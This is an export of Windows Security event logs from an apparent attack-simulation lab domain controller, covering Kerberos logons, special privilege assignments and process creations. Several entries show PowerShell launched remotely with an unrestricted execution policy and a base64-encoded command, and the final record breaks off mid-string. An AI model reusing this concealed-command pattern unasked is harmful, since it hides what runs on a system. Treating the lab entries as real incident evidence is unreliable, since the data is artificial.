ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252463
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15EEE3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252462
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x15EEE3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64638

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252461
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15EEE3

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252460
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15D57F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1370
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x13c8
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252459
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15EE4B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252458
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x15EE4B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64637

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252457
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15EE4B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252456
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15EDE8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252455
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x15EDE8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64636

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252454
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15EDE8

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252518
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16387C

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x364
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x500
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252517
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x163EB5

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252516
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x163EB5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{88BA9618-E447-8C6F-A4E1-554423C688E5}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252515
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{88BA9618-E447-8C6F-A4E1-554423C688E5}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252514
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{88BA9618-E447-8C6F-A4E1-554423C688E5}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252513
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252512
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16387C

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x500
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x5a8
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252511
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16387C

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5a8
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10ec
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkA